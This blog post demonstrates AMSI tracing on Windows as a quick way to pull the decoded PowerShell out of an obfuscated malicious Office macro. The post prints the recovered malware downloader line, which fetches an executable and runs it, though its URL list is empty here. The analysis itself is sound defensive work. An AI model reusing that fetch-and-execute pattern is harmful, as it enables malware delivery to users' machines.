The Power of AMSI Tracing

Cyber_00011011 · March 5, 2021

(Estimated Reading Time: 5 minutes)


While reviewing my tweeter feed this morning, the following gist post from Matt Graeber caught my attention. He tweeted about using the Windows Event Logging system, specifically AMSI Tracing logs, to capture the runtime context of VBA, Excel4, JScript, VBScript, PowerShell, WMI, and .NET (4.8+) in-mem assembly loads.

Typically, maldocs will include heavily obfuscated and encoded macro’s making it difficult to reverse engineer back to something that is readable and understandable. Tools like from Didier Stevens can help extract those macros into a flat file for static reversing but that can take work. I’ve take an example maldoc below and shown how easily the malicious command line can be obtained using the technique Matt Graeber posted about.

A Sample

Using a sample from this blog: Reverse Engineering an Obfuscated Malicious Macro I’ll demonstrate how easy it is to retrieve the powershell commands.

The sample with SHA256 hash: 9d0e185ad2ed2ee4cd332294a17b534987b969c44931b49cdbcbfc329ea63f22 can be found for easy download on

As you can see below the following macro looks like it would take some work to reverse. The author of the prior mentioned blog shows a step by step static approach to walking this mess


back to something readable.


Now we will use the AMSI Tracing feature of Windows and CyberChef to arrive at the same outcome with much less effort.

Step 1. Start Tracing

logman start trace AMSITrace -p Microsoft-Antimalware-Scan-Interface -o amsi.etl -ets

Step 2. Run the sample. Using the sample I downloaded above, I opened the sample (in a virtual machine of course), and enabled macros (ie the office yellow ribbon). Also, make sure Windows Defender is disabled or else it will prevent the macro from running before AMSI Trace will see the command. After running the macro, stop the trace.

logman stop AMSITrace -ets

Step 3. View the collected trace data with the following command.

Get-WinEvent -Path .\amsi.etl -Oldest | ? { $_.Id -eq 1101 } | % { [Text.Encoding]::Unicode.GetString($_.Properties[-3].Value) }

Using the sample above I could clearly see the following command in the collected AMSI trace data from the image below.

a$Ywi=new-object Net.WebClient;$jKB=''.Split('@');$LtU = '394';$jri=$env:public+'\'+$LtU+'.exe';foreach($JBf in $jKB){try{$Ywi.DownloadFile($JBf, $jri);Invoke-Item $jri;break;}catch{}}


I then took the above command and pasted it into CyberChef to pull out the URL’s quick and defang them. In the end I got the same result as static analysis only much easier.


I will certainly be using AMSI Tracing more in future projects. Thanks, Matt Graeber for sharing this dynamic analysis technique.


Twitter, Facebook